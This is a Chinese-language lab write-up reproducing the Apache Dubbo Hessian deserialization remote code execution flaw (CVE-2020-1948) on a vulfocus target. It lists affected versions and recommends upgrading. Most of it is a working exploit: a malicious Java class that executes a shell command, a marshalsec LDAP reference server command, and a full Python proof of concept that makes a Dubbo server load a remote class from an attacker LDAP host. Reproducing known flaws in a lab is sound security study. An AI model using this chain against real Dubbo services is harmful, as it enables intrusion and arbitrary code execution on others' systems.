Dubbo Provider远程代码执行漏洞(CVE-2020-1948)
漏洞编号
CVE-2020-1948
漏洞原理
Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞,攻击者发送未经验证的服务名或方法名的RPC请求,使Dubbo服务端加载远程恶意类从而执行恶意代码.
影响版本
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)
漏洞复现
使用的vulfocus靶场复现。先使用cve-2020-1948.py测试一下目标是否存在该漏洞。
运行这个脚本前需要安装dubbo-py依赖。
python cve-2020-1948.py
1、构建如下java,保存为exp.java
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class exp { public exp(){ try { java.lang.Runtime.getRuntime().exec("touch /tmp/success"); } catch (java.io.IOException e) { e.printStackTrace(); } } }
编译java文件并用python启动http服务。
javac exp.java 编译java文件 python2中使用python2 -m SimpleHTTPServer 80开启http服务 python3中使用python3 -m http.server开启http服务 http服务根目录为当前命令启动目录
2、启动LDAP代理服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1#exp 777
3、python执行poc
-- coding: utf-8 -- import sys from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient if len(sys.argv) < 4: print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0])) print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0])) sys.exit() client = DubboClient(sys.argv[1], int(sys.argv[2])) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource=sys.argv[3], strMatchColumns=["foo"] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name="com.sun.rowset.JdbcRowSetImpl", ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp = client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', #此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 method_name='$invoke', args=[toStringBean]) output = str(resp) if 'Fail to decode request due to: RpcInvocation' in output: print('[!] Target maybe not support deserialization.') elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output: print('[+] Succeed.') else: print('[!] Output:') print(output) print('[!] Target maybe not use dubbo-remoting library.')
python3 exp.py 目标IP 12345 ldap://192.168.1.143:777/exp
漏洞修复
升级到安全版本